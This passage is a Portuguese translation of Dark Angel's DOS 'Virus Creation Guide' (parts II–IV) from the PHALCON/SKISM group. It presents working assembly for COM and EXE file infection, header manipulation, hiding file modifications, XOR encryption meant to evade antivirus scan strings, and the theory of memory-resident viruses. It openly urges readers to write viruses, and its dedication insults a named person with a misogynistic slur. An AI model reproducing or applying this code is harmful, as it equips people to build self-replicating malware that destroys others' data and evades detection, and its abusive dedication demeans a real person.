cx, 3
; acessar o BX do
lea
dx, [bp+buffer2]
; buffer -> DS:[DX]
int
21h
mov
ax, 4202h
; Move ponteiro do arquivo
para
xor
cx, cx
; o fim do arquivo
xor
dx, dx
int
21h
mov
ah, 40h
; Escreve CX bytes
mov
cx, endofvirus - startofpart2 ; Tamanho efetivo do
vírus
lea
dx, [bp+startofpart2]
; Começa a escrever no início
int
21h
; Variáveis
buffer1 db 3 dup (?)
; bytes salvos do
; arquivo infectado para restaurar
; depois
buffer2 db 3 dup (?)
; buffer Temporário
Depois de alguns exames, esse código irá provar
que é fácil de ser
entendido. Isso começa
lendo os primeiros 3 bytes em um buffer. Note que você
pode já ter
feito isso em um passo
anterior, tipo quando você está checando para uma
infecção anterior.
Se você já fez isso, você
obviamente não precisa fazer isso de novo. Esse buffer
precisa ser
armazenado no vírus assim
ele pode ser restaurado depois quando o código é
executado.
Infecções EXE são bem simples, apenas
um pouco mais difícil de se
entender. Primeiro a teoria.
Aqui está o formato do cabeçalho EXE:
Ofs Nome
Tamanho Comentários
00 Signature
2 bytes always 4Dh 5Ah (MZ)
*02 Last Page Size
1 word number of bytes in last page
*04 File Pages
1 word number of 512 byte pages
06 Reloc Items
1 word number of entries in table
08 Header Paras
1 word size of header in 16 byte paras
0A MinAlloc
1 word minimum memory required in
paras
0C MaxAlloc
1 word maximum memory wanted in
paras
*0E PreReloc SS
1 word offset in paras to stack segment
*10 Initial SP
1 word starting SP value
12 Negative checksum 1 word
currently ignored
*14 Pre Reloc IP
1 word execution start address
*16 Pre Reloc CS
1 word preadjusted start segment
18 Reloc table offset
1 word is offset from start of file)
1A Overlay number
1 word ignored if not overlay
1C Reserved/unused
2 words
* denotes bytes which should be changed by the virus
Para entender isso, voce deve primeiro entender que
arquivos EXE
sao estruturados dentro
de segmentos. Estes segmentos podem iniciar e acabar qualquer
lugar. Tudo o que voce tem que
fazer para infectar um arquivo EXE eh juntar o seu codigo
no fim.
Isso ira entao ser em seu
proprio segmento. Agora tudo que voce tem de fazer eh fazer
o
codigo do virus executar primeiro
o codigo do programa. Ao contrado de infeccoes COM,
nenhum
codigo do programa eh sobrescrito
entretanto o cabecalho eh modificado. Note que
o virus pode
permanecer com a estrutura V1/V2,
mas apenas V2 precisa ser concatenado no fim do arquivo EXE
infectado.
Offset 4 (Paginas de Arquivo) mantém
o tamanho do arquivo
dividido por 512, arredondado.
Offset 2 mantem o tamanho do modulo 512 do arquivo. Offset
0Eh
mantem o deslocamento de
paragrafo (relativo para o fim do cabeçalho) da pilha de
segmento
inicial e Offset 10h mantem
o deslocamento (relativo para o inicio do segmento da pilha)
do
ponteiro de pilha inicial.
Offset 16h mantem o deslocamento de paragrafo relativo para o fim
de o cabecalho e offset 14h
mantem o deslocamento do ponto de entrada relativo ao inicio do
segmento de entrada. Offset 14h
e 16h sao a chave para acrescentar o codigo inicial (o virus) para
o
arquivo.
Antes de voce infectar o arquivo, voce
deve salvar o CS:IP e SS:SP
encontrado no cabecalho
EXE, como voce precisa restaurar eles durante a execucao.
Note que
SS:SP NÃO é armazenado no
formato Intel reverse-double-word. Se voce nao sabe o que
eu estou
falando, nao se preocupe;
Isso é apenas para pessoas do ramo. Você deve
também salvar o
tamanho do arquivo pois voce ira
precisar usar aquele valor muitas vezes durante a rotina de infeccao.
Agora é hora de calcular
alguns offsets! Para encontrar o novo CS:IP e SS:SP,
use o seguinte
codigo. Ele assumes que
o tamanho do arquivo está carregado em DX:AX.
mov
bx, word ptr [bp+ExeHead+8] ; Tamanho do
Cabeçalho nos paragrafos
; ^---tenha certeza que você não destruirá o
acesso ao
arquivo
mov
cl, 4
; Multiplicar por 16. Não funciona
com
shl
bx, cl
; cabeçalhos > 4096
; bytes. Oh well!
sub
ax, bx
; Subtrair tamanho do cabeçalho de
sbb
dx, 0
; tamanho do arquivo
; Agora DX:AX está carregado com tamanho
do arquivo menus
tamanho do cabeçalho
mov
cx, 10h
; DX:AX/CX = AX Remainder DX
div
cx
Esse codigo eh um tanto ineficiente. Isso poderá
provavelmente ser
mais facil para dividir
por 16 primeiro e então executa uma subtração
direta de AX, mas
isso parece ser o código que
eu escolhi. Entretanto, esse codigo tem algumas vantagens sobre
o
mais eficiente já feito.
Com esse, você terá certeza que o IP (em DX)
irá ser entre 15. Isso
permite a pilha para
estar no mesmo segmento como o ponto de entrada, tão longo
tanto o
apontador da pilha.
Agora AX*16+DX aponta para o fim do codigo.
Se o virus inicia
imediatamente depois do fim do
codigo, AX e DX podem ser usados como o CS e IP iniciais,
respetivamente. Entretanto, se o
virus tem algum lixo (codigo ou dados) antes do ponto de entrada,
acrescente a troca do ponto
de entrada para DX (nenhum ADX com AX é necessário
desde que
DX sejá sempre pequeno).
mov
word ptr [bp+ExeHead+14h], dx ; IP Offset
mov
word ptr [bp+ExeHead+16h], ax ; CS Displacement in
module
The SP and SS can now be calculated.
The SS is equal to the
CS. The
actual value of the SP is irrelevant, as long as it
is large enough so
the
stack will not overwrite code (remember: the stack
grows
downwards). As a
general rule, make sure the SP is at least 100 bytes
larger than the
virus
size. This should be sufficient to avoid problems.
mov
word ptr [bp+ExeHead+0Eh], ax ; Paragraph disp. SS
mov
word ptr [bp+ExeHead+10h], 0A000h ; Starting SP
Tudo o que falta mexer no cabeçalho é o tamanho
do arquivo.
Restaure o tamanho do arquivo
original de aonde quer que você salvou para DX:AX.
Para calcular
DX:AX/512 e DX:AX MOD 512,
use o seguinte código:
mov
cl, 9
; Use shifts again for
ror
dx, cl
; division
push
ax
; Need to use AX again
shr
ax, cl
adc
dx, ax
; pages in dx
pop
ax
and
ah, 1
; mod 512 in ax
mov
word ptr [bp+ExeHead+4], dx ; Fix-up the file size
in
mov
word ptr [bp+ExeHead+2], ax ; the EXE header.
Tudo o que falta é reescrever o cabeçalho
EXE e concatenar o vírus
no fim do arquivo. Você
precisa de código? Você pega código.
mov
ah, 3fh
; BX mantém manuseior
mov
cx, 18h
; Não precisa de todo o cabeçalho
lea
dx, [bp+ExeHead]
int
21h
call
infectexe
mov
ax, 4200h
; voltar para o inicio do
xor
cx, cx
; arquivo
xor
dx, dx
int
21h
mov
ah, 40h
; Reescrever cabeçalho
mov
cx, 18h
lea
dx, [bp+ExeHead]
int
21h
mov
ax, 4202h
; Vai para o fim do arquivo
xor
cx, cx
xor
dx, dx
int
21h
mov
ah, 40h
; Note: Apenas precisa escrever
mov
cx, part2size
; parte 2 do virus
lea
dx, [bp+offset part2start] ;
(Partes do virus
int
21h
; definido na primeira
; parte do
; guia)
Note que esse código sozinho não é
suficiente para escrever um
infector de COM ou EXE.
Código também é necessário para transferir
controle para o programa
pai. A informação
necessária para fazer esse deve ser apresentada na próxima
parte.
Nesse meio tempo, você pode tentar deixar do seu modo;
apenas
lembre-se que você deve
restaurar tudo o que você mudou.
PASSO 4 -
COBRINDO SEUS
RASTROS
Esse passo, embora simples de se fazer, eh muito facilmente
esquecido. Isso eh extremamente
importante, como um usuário cauteloso será alertado
para a presença
de um virus por todos as
modificações em um arquivo. Em sua forma
mais simples, isso
envolve a restauração de
atributos do arquivo, hora e data. Isso eh feito com o seguinte
código:
mov
ax, 5701h
; Mudar arquivo tempo/data
mov
dx, palavra ptr [bp+f_date] ; DX =
data
mov
cx, palavra ptr [bp+f_time] ; CX =
tempo
int
21h
mov
ah, 3eh
; Fechar arquivo
int
21h
mov
ax, 4301h
; Mudar atributos
lea
dx, [bp+offset DTA + 1Eh] ; Nome do arquivo
permanece em DTA
xor
ch, ch
mov
cl, byte ptr [bp+f_attrib] ; Atributo em CX
int
21h
Lembrar tambem para restaurar o diretório de volta
para o original
se ele foi alterado
enquanto o vírus rodava.
=========================================================================
DEDICATORIA: Isso eh dedicado para Patty Hoffman,
aquela gorda puta que nao sabe seu proprio nome,
e para os milhoes de idiotas panacas quem estao
amedrontados pelos Michelangelo e por isso eles
nao tocam
em seus computadores por um dia inteiro.
AGRADECIMENTOS: para todos os membros do
FALCAO/SKISM especialmente
Garbageheap, Hellraiser, e Demogorgon.
Guia de Criação de Vírus por Dark Angel
"Essa é a coisa certa
para fazer"
PARTE III: VÍRUS NAO
RESIDENTES VIRUS, PARTE II
Bem vindo a terceira parte do meu guia de criação
de Virus. Na
parte anterior, eu cobrir a
parte primaria do virus - a replicacao. Como prometi, Eu
devo agora
cobrir o resto do virus
nao residente e apresentar codigo que, quando
combinado com o
codigo da parte anterior, sera
suficiente para permitir a qualquer um escrever um vírus
simples.
Adicionalmente, Eu irei apresentar algumas dicas e
truques que
pode ajudar para otimisar seu
código.
A CAMUFLAGEM
A camuflagem é a defesa mais usada por escritores
de virus para
evitar a deteccao de virus.
A rotina mais comum de encriptacao/decriptacao é o XOR,
uma vez
que ele é usado tanto para
encriptacao e decriptacao.
encriptar_val dw ? ;
Podera ser em qualquer lugar na área
decriptada
decrypt:
encrypt:
mov dx, word ptr [bp+encrypt_val]
mov cx, (part_to_encrypt_end
- part_to_encrypt_start + 1) / 2
lea si, [bp+part_to_encrypt_start]
mov di, si
xor_loop:
lodsw
xor ax, dx
stosw
loop xor_loop
A rotina anterior usa uma rotina XOR simples para encriptar
ou
decriptar codigo na memoria.
Essa é essencialmente a mesmo rotina como aquela na primeira
parte,
exceto porque essa encripta
words melhor do que bytes. Por isso que ele tem 65,535 mutacoes
ao
invés de 255 e é tambem duas
vezes mais rapido. Enquanto essa rotina é simples
de se entender, ela
deixa muito para ser
desejado já que ela é grande e pode ser usada como
uma cadeia de
procura de antivirus. Um
melhor metodo segue:
encrypt_val dw ?
decrypt:
encrypt:
mov dx, word ptr [bp+encrypt_val]
lea bx, [bp+part_to_encrypt_start]
mov cx, (part_to_encrypt_end
- part_to_encrypt_start + 1) / 2
xor_loop:
xor word ptr [bx], dx
add bx, 2
loop xor_loop
Embora esse codigo eh muito menor, é
possível reduzir mais seu
tamanho. O melhor metodo
eh inserir o valores para o valor encriptacao, BX, e CX, isso em
tempo de infecção.
decrypt:
encrypt:
mov bx, 0FFFFh
mov cx, 0FFFFh
xor_loop:
xor word ptr [bx], 0FFFFh
add bx, 2
loop xor_loop
Todos os valores denotado por 0FFFFh podem ser mudados
durante a infeccao para valores
apropriados para o arquivo infectado. Por exemplo, BX deve
ser
carregado com o offset
de part_to_encrypt_start relativo ao inicio do arquivo infectado
quanda a rotina deencriptacao
é escrita no arquivo infectado.
A vantagem primário do codigo usado acima eh o minimisação
do
tamanho do código de procura.
O código de procura pode apenas consistir daquelas porcoes
do
codigo que remanesce constante.
Nesse caso, Há apenas tres ou quatro bytes
consecutivos que
permanecem constantes. Uma vez
que a encriptacao inteira consiste de apenas uma dúzia de
bytes, o
tamanho do códico de procura
é extremamente pequeno.
Embora o funcao de encriptacao eh limpo, talvez
o valor de
encriptação inicial e calculo de
valores subsequentes não é tão lúcido.
O valor inicial para muitas
encriptações XOR deve ser 0.
Você deve mudar o valor de encriptacao valor durante
o processo de
infecção. Um valor de
encriptação aleatorio eh desejável.
O mais simples metodo de obter
um número aleatorio é
consultar o relógio interno. Um número aleatorio
pode ser
facilmente obtido com um simples
código:
mov
ah, 2Ch
; Pega para mim um número
aleatorio.
int
21h
mov
word ptr [bp+encrypt_val], dx ; Pode tambem usa CX
Algum funções de encriptação
não facilitam com um valor inicial de
0. Por exemplo,
de um olhda na Whale. Ele usa o valor do word anterior como
um
valor de encriptação. Nesses
casos, simplesmente use um JMP para passar a rotina de decriptação
quando codificando o vírus.
Entretanto, tenha certeza que as infecções pulem
para local certo! Por
exemplo, assim é como
poderá ficar o código para o vírus:
org
100h
start:
jmp
past_encryption
; Insira sua rotina de encriptação aqui
past_encryption:
A rotina de encriptacao é a ÚNICA parte do
virus que precisa estar
desencriptada. Através
de técnicas de mover código, isso eh possivel para
copiar o
mecanismo de infecçào para a pilha
(localização da memoria depois do fim do arquivo
e antes da pilha).
Tudo o que é requirido
são umas poucas instruções MOVSW e um JMP.
Primeiro a rotina
de encriptacao deve ser copiada,
depois escrita, depois decriptada, depois RETornar para o pograma.
Exemplo:
lea si, [bp+encryption_routine]
lea di, [bp+heap]
mov cx, encryption_routine_size
push si
push cx
rep movsb
lea si, [bp+writing_routine]
mov cx, writing_routine_size
rep movsb
pop cx
pop si
rep movsb
mov al, 0C3h
; Tack on a near return
stosb
call [bp+heap]
Embora muitas virus, por causa de simplicidade, usa
a mesma
rotina tanto para encriptacao
quanto para decriptacao, o codigo acima mostra que isso é
completamente desnecessario.
A única modificação do código acima
para inclusao de uma rotina de
decriptação em separado é
para pegar os PUSHes e trocar os POPs com os LEA si e MOV cx
apropriado.
Rotinas de encriptacao originais, mesmo sendo interessantes,
podem
não ser os melhores.
Rotinas de encriptação roubadas são as melhores,
especialmente
aquelas roubadas de programas
shareware encriptados! Sydex é notorio ao usar encriptação
em seus
programas shareware.
De uma olhada em programas shareware com encriptação
fraca e
sinta-se livre para copiar
ele para você mesmo. Esperançosamente, os desenvolvedores
de
anti-virus irão criar um cadeia
de procura cadeia que ira detectar infeccao pelo seu virus em
produtos shareware simplesmente
porque a encriptacao é o mesma.
Note que isso não é um tratamento completo
de rotinas de
camuflagem. Um arquivo de texto
completo pode ser escrito apenas sobre técnicas
encriptacao/decriptacao. Essa é apenas a
forma mais simples de todas as rotinas possíveis de técnicas
encriptação e há muitas mais
técnicas de camuflagens disponíveis. Entretanto,
para o iniciante,
esse deve satisfazer.
O DESPACHANTE
O despachante é a porção do virus que
restaura o controle para o
programa infectado. O
despachantes para arquivos EXE e COM arquivos
são,
naturalmente, diferentes.
Em arquivos COM, você deve restaurar os bytes
que foram
sobreescritos pelo seu virus e entao
transferir controle para CS:100h, que eh onde todos arquivos
COM
são carregados inicialmente.
RestoreCOM:
mov di, 100h
; Nos estamos copiando para o inicio
lea si, [bp+savebuffer]
; Nos estamos copiando de nosso
buffer
push di
; Salva offset para retorno (100h)
movsw
; Mais eficiente do que mov cx, 3, movsb
movsb
; Alterar para encontrar suas necessidades
retn
; Um JMP também irá funcionar
Arquivos EXE requerem simplesmente a restauração
do segmento
da pilha/apontador e
o segmento de codigo/apontador da instrucao.
ExeReturn:
mov
ax, es
; Inicia no segmento PSP
add
ax, 10h
; Pula o PSP
add
word ptr cs:[bp+ExeWhereToJump+2], ax
cli
add
ax, word ptr cs:[bp+StackSave+2] ; Restaura a pilha
mov
ss, ax
mov
sp, word ptr cs:[bp+StackSave]
sti
db
0eah
; JMP FAR PTR SEG:OFF
ExeWhereToJump:
dd
0
StackSave:
dd
0
ExeWhereToJump2 dd 0
StackSave2 dd 0
Depois da infeccao, os CS:IP e SS:SP iniciais
devem ser
armazenados em ExeWhereToJump2 e
StackSave2, respectivamente. Eles deve entao ser movido para
ExeWhereToJump e StackSave antes
da restauracao do programa. Esse restauracao pode ser facilmente
realizada com um serie de
instruções MOVSW.
Alguns gostam de limpar todos as prioridades dos registradores
para
o JMP/RET, i.e. eles
instruem um grupo de instruções XOR.
Se voce se sente feliz e
deseja desperdicar espaço codigo
, voce é bem vindo para fazer isso, mas isso é desnecessario
em
muitos casos.
A BOMBA
"O horror! O horror!"
- Joseph Conrad, O Coracao
da Escuridao
O que vai passa atraves da mente de um humilde usuário
de
computador quando um virus ativa-se?
Que terrores que a vítima passa quando o computador de repente
toca
uma música Nazista? Quanta
dor de cabeça deve ser a perda de milhares de horas de trabalho
em
um instante!
Atualmente, Eu nao suporto destruição de dados
e discos exagerada
pelos virus. Fazer isso
não tem propósito e geralmente mostra pouca
imaginacao. Por
exemplo, o virus mais famoso
do mundo Michelangelo não faz nada mais do que sobreescrever
setores do drive com dados pegos
em posições aleatorias da memória. Que
original. Uau. É claro, se
você é um maniáco em
destruição, vá adiante e destrua tudo que
você quiser, mas apenas
lembre-se que essa parte do
virus é geralmente a unica parte vista pelos usuários
finais e o
distinguir de outros.
Os melhores exemplos em ordem cronológica incluem: Ambulance
Car, Cascata, Ping Pong, e Zero
Hunt. Nao esqueca a linha PHALCON/SKISM, especialmente
aquelas feitos por mim!
Como você pode ver, não código para
ser mostrado nessa secao.
Uma vez que todas as bombas
devem ser originais, não há sentido por o codigo
de uma. É claro,
alguns virus nao contenham
qualquer bomba para eu mostrar aqui. Geralmente falando,
apenas
aqueles com tamanho acima de
500 bytes tem bombas.
Não é vantagem de nao ter um bomba outra do
que a consideração
do tamanho.
MEA CULPA
Eu venho informar a voce que aquele infector EXE apresentado
na
última parte não é totalmente
perfeito. Eu admito isso. Eu fiz um erro proporções
colossais. O
calculo do tamanho do
arquivo tamanho e tamanho do arquivo mod 512 foi mostrado de
uma forma errada. Aqui está a
versão correta:
; Na entrada, DX:AX mantem o NOVO tamanho do arquivo
push
ax
; Salva low word do tamanho do
arquivo
mov
cl, 9
; 2^9 = 512
shr
ax, cl
; / 512
ror
dx, cl
; / 512 (tipo de)
stc
; Checar descrição do cabeçalho EXE
; para explicacao da adicao
adc
dx, ax
; de 1 para a DIV 512
pop
ax
; Restaura low word do tamanho do
arquivo
and
ah, 1
; MOD 512
Esse resultados do tamanho do arquivo / 512 + 1 em DX e
o
tamanho do arquivo mod 512 em AX.
O resto permanece o mesmo. Teste sua rotina de infecção
EXE com
o ELO.EXE da Microsoft, uma
que ele nao roda a menos que infecção EXE eh perfeita.
DICAS E TRUQUES
Então agora todas as partes do vírus nao residente
foram cobertas.
Eu deixei muito mais
espaço que sobraram para serem preenchidos. Assim,
Eu devo
apresentar muitas técnicas simples
que qualquer um pode incorporar dentro do virus para melhorar a
eficiencia.
1. Use o pilha
A pilha é a área
da memoria entre o fim do codigo e o fim da
pilha. Esse pode ser
convenientemente tratado
como uma área de dados de um vírus.
Ao mover variaveis para a
pilha, o virus não precisa manter variaveis em seu
codigo, reduzindo
assim seu tamanho.
Note que desde que o conteudo da pilha nao são parte
do virus,
apenas variáveis
temporárias variaveis devem ser mantidas lá,
i.e. a rotina de infeccao
não deve contar
com a pilha como parte do vírus já que ela
pode derrotar o propósito
de seu uso.
Aqui estão dois
modos de usar a pilha:
; Primeiro metodo
EndOfVirus:
Variable1 equ $
Variable2 equ Variable1 +
LengthOfVariable1
Variable3 equ Variable2 +
LengthOfVariable2
Variable4 equ Variable3 +
LengthOfVariable3
; Exemplo do primeiro metodo
EndOfVirus:
StartingDirectory = $
TemporaryDTA
= StartingDirectory + 64
FileSize
= TemporaryDTA + 42
Flag
= FileSize + 4
; Segundo metodo
EndOfVirus:
Variable1 db LengthOfVariable1
dup (?)
Variable2 db LengthOfVariable2
dup (?)
Variable3 db LengthOfVariable3
dup (?)
Variable4 db LengthOfVariable4
dup (?)
; Exemplo de segundo metodo
EndOfVirus:
StartingDirectory db 64 dup
(?)
TemporaryDTA
db 42 dup (?)
FileSize
dd ?
Flag
db ?
Os dois metodos diferem
ligeiramente. Ao usar primeiro
metodo, voce cria um arquivo
que ira ter o tamanho exato do virus (mais o código do início).
Entretanto, quando
referenciando as variáveis, especificações
de tamanho tais como
BYTE PTR, WORD PTR, DWORD PTR,
etc. deve sempre ser usado ou o assembler ficará confuso.
Em
segundo lugar, se as variáveis
precisam ser rearranjadas por alguma razao, o código inteiro
EQUates
será destruido e deve ser
refeito. Virus codificados com o segundo metodo não
precisam de
especificações de tamanho,
mas o arquivo resultante deverá ser maior do que o tamanho
do vírus
atual. Enquanto que esse
não eh normalmente um problema, dependendo da checagem de
reinfeccao, o virus pode infectar o
arquivo original quando for rodar. Esse não é
um grande defeito,
especialmente considerando
as vantagens desse metodo.
Em qualquer caso, o
uso da pilha pode grandemente diminuir o
tamanho efetivo do código
do virus codigo e assim deixar ainda mais eficiente. A única
coisa
que deve ser observada é
quando se for infectar arquivos COM grande onde a irá voltar
de
volta para o offset 0 do mesmo
segmento, corrompendo o PSP. Entretanto, esse problema é
facilmente evitado. Quando
considerar se um arquivo COM arquivo eh muito grande para ser
infectado por esse razao,
simplesmente acrescente o tamanho da variável temporária
para o
tamanho do virus com o
propositos de checar.
2. Use procedimentos
Procedimentos são úteis
na redução do tamanho do vírus, o que
eh sempre um objetivo
desejável. Apenas use procedimentos se eles salvmr
espaco. Para
determinar a quantidade de
bytes salvos pelo uso usa de um procedimento, use a seguinte
formula:
Deixe PS = tamanho do procedimento
tamanho, em bytes
bytes salvos = (PS - 4) *
número invocacoes - PS
Por exemplo, o procedimento
de fechar arquivo,
close_file:
mov ah, 3eh
; 2 bytes
int 21h
; 2 bytes
ret
; 1 byte
; PS = 2+2+1 = 5
eh apenas viavel se
isso for usado 6 ou mais vezes, como
(5-4)*6 - 5 = 1. Um grande
salvamento de um (1) byte! Uma vez que nenhum vírus
fecha um
arquivo em seis lugares diferentes
, o procedimento de fechar arquivo é claramente
inútil e deve ser
evitado.
Sempre que possivel,
desenhe os procedimentos para ser o mais
flexivel quanto possível.
Essa é a razão chefe porque a codificação
Bulgariana é tão tenso.
Apenas de uma olhada na fonte
de Creeping Death. Por exemplo, o procedimento de apontar
de
mover arquivo:
go_eof:
mov al, 2
move_fp:
xor dx, dx
go_somewhere:
xor cx, cx
mov ah, 42h
int 21h
ret
A funcao foi feita com flexibilidade
em mente. Com uma CALL
para o go_eof, o
procedimento ira mover o apontador de arquivo para o fim
do
arquivo. Um CALL
para move_fp com AL setado em 0, o apontador do arquivo
apontador será reiniciado. Uma CALL
para go_somewhere com DX e AL declarado, o apontador do arquivo
pode ser movido para qualquer
lugar dentro do arquivo. Se o funcao eh usada pesadamente,
os
salvamentos podem ser enormes.
3. Use um bom assembler e debugger
O melhor assembler que eu
já vi foi o Turbo Assembler. Ele
compila muito rapidamente,
use a opção /m2 para eliminar todos os NOPs
do codigo. As
vantagens sao obvias - rapido
desenvolvimento e pequeno codigo.
O melhor debugador eh
tambem feito pela Borland, o rei do
desenvolvimento de
ferramentas. Turbo Debugger tem muito aspectos que você
pode
apenas precisar comprar ele para
assim voce poder ler o manual! Ele pode enganar
muitas armadilhas
para debuggers com
facilidade e é ideal para testar. Adicionalmente,
esse debugador tem
versões 286 e 386
específicas, cada uma das quais muito mais poderosas
que o seus
anteriores.
4. Nao use MOV ao invés de LEA
Quando escrever seu primeiro
vírus, você pode muitas vezes
esquecer de usar LEA ao invez
de MOV quando for carregar offsets. Esse eh um serio
engano e eh
muitas vezes feito pelos
codificadores de vírus iniciantes. Os efeitos
prejudiciais efeitos de
tal erro são
imediatamente óbvias. Se o vírus não
está trabalhando, cheque por
esse erro. É quase tão
difícil de detectar quanto um erro de apontador NULO em
C.
5. Leia as últimas edições
de 40Hex
40Hex, jornal oficial do PHALCON/SKISM
com técnicas de
virus tecnicas e novidades, é uma
publicação que não pode ser perdido por nenhum
criador de vírus
com respeito próprio. Cada
edição contém técnicas e código
fonte, desenvolvido para ajudar
todos os escritores de vírus,
sejam eles iniciantes ou experts. Novidades relacionadas
a Vírus
também é publicado. Pegue
o jornal, leia o jornal, ame o jornal, coma o jornal!
O QUE AGORA?
Você tem todo o codigo e informação
suficiente para escrever um
vírus viável, tão bem quanto
as técnicas saudáveis para usar. Assim, pare
de ler e comece a
escrever! A única forma de
ficar melhor é através da prática. Depois
de duas ou três tentativas,
você deverá estar no
caminho da criação do seu próprio vírus
bom.
==========================================================================
AVISO: Esse arquivo tem garantia de 100% de continuar a existir.
O
autor não clama a existencia ou nao existencia do leitor.
Esse espaco foi deixado intencionalmente em branco.
AGRADECIMENTOS: Bemvindo ao lar, Hellraiser!
Ola para a turma: Count Zero, Demogorgon, Garbageheap, assim
como para todo o resto que eu não mencionei.
Guia de Criação de Vírus por Dark Angel
"Isso é legal!" - Kraft
ONDE ENCONTRAR: Para encontrar esse guia e as futura edições
vá para:
http://lebeau.home.ml.org
EM CASO DE DÚVIDAS: rlebeau@geocities.com (Não sou
o
autor mas manjo um
pouco de Assembly, portanto eu poderei não saber responder
todas as
questões)
PARTE IV: VÍRUS RESIDENTES
VIRUS, PARTE II
Agora que o topico de virus nao residentes foi
endereçado, esse
série agora vira-se para virus residente em memória.
Essa parte cobre
a teoria desse tipo de virus, entretanto nenhum codigo
irá ser
apresentado. Com esse conhecimento em mão,
voce pode escrever
virus residente em memoria com a certeza que voce não está
indo
muito mal.
INTERRUPÇÕES
DOS amavelmente fornece-nos um poderoso metodo
de valorizar a
si mesmo, chamado programas residente em memória.
Programas
residente em memória permite uma extensão e alteração
do
funcionamento normal do DOS. Para entender como programas
residente em memoria funcionam, é necessário desenvolver
dentro da
intricacias da tabela de interrupções.
A tabela de interrupções é
localizada na localizacao de memória 0000:0000h até
0000:0400h
(ou 0040:0000), apenas abaixo da área de informação
da BIOS. Ela
consiste de 256 double words, cada uma representando um par de
segmento:offset. Quando uma chamada de interrupcao
é instruida
via uma instrucao INT, duas coisas ocorrem, nessa ordem:
1) Os flags sao empurradas dentro da pilha.
2) Um far call é instruida
para o segmento:offset localizada na
tabela de interrupções
Para retornar de uma interrupção,
uma iret instrucao eh usada. A
instrução iret reversa a ordem da chamada int.
Isso executa um retf
seguido por um popf. Esse procedimento de chamada/retorno
tem
um interessante contra-efeito quando considerando manuseadores
de
interrupções que retorna valores no registrador de
flags. Tais
manuseadores deve manipular
diretamente o registrador de flags salva na pilha antes do que
simplesmente manipular diretamente o registrador.
O processador procura na tabela de interrupcao
a localizacao para
poder chamar. Por exemplo, quando uma interrupcao 21h
eh
chamada, o processador procura na tabela interrupcao para encontrar
o endereco do handler da interrupcao 21h. O segmento desse
apontador eh 0000h e o offset eh 21h*4, ou 84h. Em outras
palavras,
a tablea de interrupcao é simplesmente um consecutivo corrente
de
256 ponteiros para interrupcoes, indo de interrupcao 0 para
interrupcao 255. Para encontrar uma específica interrupção
handlerr,
carregue em um segmento par de double word segmento:offset a
partir do segmento 0, offset (interrupcao numero)*4.
A tabela de
interrupcao eh armazenado em formato padrao Intel reverso double
word, i.e. o offset eh armazenado primeiro, seguido pelo segmento.
Para um programa poder "capturar" uma
interrupcao, ou seja,
redirecionar a interrupcao, ele deve mudar os dados na tabela de
interrupcao. Isso pode ser realizado tanto por manipulação
direta da
tabela ou por uma chamada para a apropriada função
DOS. Se o
programa manipula a tabela diretamente, ele deve por esse codigo
entre um par CLI/STI, para instruir uma interrupcao pelo processador
enquanto o tabela eh semi-alterada pode ter pessimas consequencias.
Geralmente
manipulação direta é a alternativa preferível,
desde que alguns
programas primitivos tal como FluShot+ captura a chamada para
interrupcao 21h para mudar a interrupcao e ira avisar o usuario
se
qualquer programa "nao autorizado" tentar mudar o handler.
Um controlador de interrupção
eh uma peça de codigo que eh
executada quando uma interrupcao eh requerida. A interrupcao
pode
tanto ser requerido por um programa ou pode ser requerida pelo
o
processador. Interrupcao 21h eh um exemplo do anterior,
enquanto
interrupcao 8h eh uma exemplo da outra. O sistema BIOS fornece
uma porcao de handlers de interrupção, com DOS e
outros programas
fornecendo o resto. Geralmente, o limite de interrupções
BIOS varia
de 0h para
1Fh, em interrupcoes DOS o limite é de limite de 20h até
2Fh, e o
resto eh disponivel para uso pelos programas.
Quando um programa deseja instalar
seu proprio codigo, ele deve
considerar muitos fatores. Primeiro de todos, ele quer suplantar
ou
acrescentar existinte codigo, tem que ver, já tem um handler
de
interrupcao presente? Em segundo lugar, o programa deseja
preservar o funcionamento do handler de interrupcao antigo?
Por
exemplo, um programa que "captura" a interrupção
do tick do
relógio do BIOS podera definitivamente desejar preservar
o antigo
handler de interrupcao.
Ignorando a presenca do velho handler de interrupcao pode levar
a
disastrosos resultados, especialmente se programas residentes
carregados anteriormente capturaram essa interrupcao.
Uma tecnica usada em muitos handlers
de interrupcao eh chamada
"chaining." Com chaining, tanto o novo e o velho handler
de
interrupcao são executados. Há dois métodos
primario para chaining:
preexecucao e posexecucao. Com reexecucao, o velho
handler de
interrupcao eh chamado antes do novo. Isso eh realizado via
uma
chamada pseudo-INT consistindo de um pushf seguido por uma
chamada longe ptr. O novo handler de interrupcao passa o
controle
quando o
velho termina. Preexecucao chaining eh usada quando o novo
handler
de interrupcao deseja para usar o resultados do antigo handler
de
interrupcao em decidir a ação apropriada para pegar.
Posexecucao
chaining eh mais arrumado, simplesmente consistindo de uma
instrucao jmp far ptr. Esse metodo nao requer uma instrucao
iret para
ser localizada no novo handler de interrupcao! Quando o jmp
eh
executado, o novo handler de interrupcao completou suas ações
e o
controle eh
passado para o velho handler de interrupcao. Esse metodo
eh usado
primariamente quando um programa deseja interceptar a chamada de
interrupcao antes do DOS ou BIOS para pegar um chance para
processar ele.
UMA INTRODUÇÃO PARA A
ALOCAÇÃO DE MEMÓRIA NO DOS
Alocação de memória
eh talvez um dos conceitos mais dificeiss,
certamente o mais dificil para implementar, no DOS. O problema
é
que não há muita documentacao a respeito tanto pela
Microsoft
quanto pela IBM. Infelizmente, conhecimento de gerenciar
memória
no DOS é crucial em escrever vírus residente na memória.
Quando um programa pede ao DOS por mais
memoria, o sistema
operacional esculpe um pedaço de memoria do um lugar que
não
tenha memória alocada. Embora esse conceito eh simples
suficiente
para entender, é necessário ir fundo em ordem de
ter suficiente
conhecimento para escrever vírus residente em memória
efetivo.
DOS cria blocos de controle de memória controle blocos (MCBs)
para ajudar a si mesmo manter rastros desses pedacos de memoria.
MCBs sao pequenas areas de memoria que cada uma é devotada
para
manter rastros de uma área particular da memória
alocada. Quando
um programa solicita memória, um paragrafo para o
MCB eh
alocado em adicao para a memoria requerida pelo programa.
O
MCB falha apenas em fronte da memoria que ele controla.
Visualmente, um MCB e sua memoria parece assim:
+-------------------------------------------------------+
| MCB 1 | pedaço de memoria controlado pelo MCB 1
|
+-------------------------------------------------------+
Quando uma segunda secao de memoria eh requerida,
outro MCB
eh criado logo abaixo da última memória alocada.
Visualmente:
+-----------------------------------------+
| MCB 1 | Pedaço 1 | MCB 2 | Pedaço 2
|
+-----------------------------------------+
Em outro palavras, os MCBs sao "empilhados"
um em cima do
outro. ocorre uma perda de espaço quando for desalocar
MCB 1
